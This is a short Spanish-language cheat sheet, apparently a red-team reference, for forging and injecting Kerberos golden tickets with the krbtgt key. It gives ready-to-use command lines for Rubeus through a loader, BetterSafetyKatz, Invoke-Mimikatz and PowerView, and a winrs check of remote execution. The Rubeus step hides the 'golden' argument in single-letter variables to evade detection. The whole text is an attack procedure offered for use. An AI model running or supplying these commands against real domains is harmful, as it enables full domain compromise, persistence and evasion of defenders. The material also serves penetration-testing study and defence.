Golden ticket |

Advertencia

Se utiliza el hash de la cuenta krbtgt.
Se debe usar una shell con privilegios de administrador local.

Rubeus

Codificar e insertar golden:

set "z=n"
set "y=e"
set "x=d"
set "w=l"
set "v=o"
set "u=g"
set "Pwn=%u%%v%%w%%x%%y%%z%"

Obtener el SID del dominio usando PowerView:

Get-DomainSID

Obtener el comando para generar un golden ticket para el usuario deseado:

Loader.exe -path Rubeus.exe -args %Pwn% /aes256:<AES-256_KEY_KRBTGT_ACCOUNT> /sid:<SID_DOMAIN> /ldap /user:<USERNAME> /printcmd

Inyectar el ticket reemplazando $PATH\Rubeus.exe golden por lo siguiente:

Loader.exe -path Rubeus.exe -args %Pwn% <GOLDEN_TICKET_COMMAND> /ptt

Validar la ejecución de comandos:

winrs /r:<SERVER_NAME> cmd /c "set computername && set username"

BetterSafetyKatz

Generación e inyección de golden ticket:

BetterSafetyKatz.exe "kerberos::golden /User:<USERNAME> /domain:<DOMAIN> /sid:<SID_DOMAIN> /aes256:<AES-256_KEY_KRBTGT_ACCOUNT> /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"

Invoke-Mimikatz

Generación e inyección de golden ticket:

Invoke-Mimi -Command '"kerberos::golden /User:<USERNAME> /domain:<DOMAIN> /sid: <SID_DOMAIN> /aes256:<AES-256_KEY_KRBTGT_ACCOUNT> /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'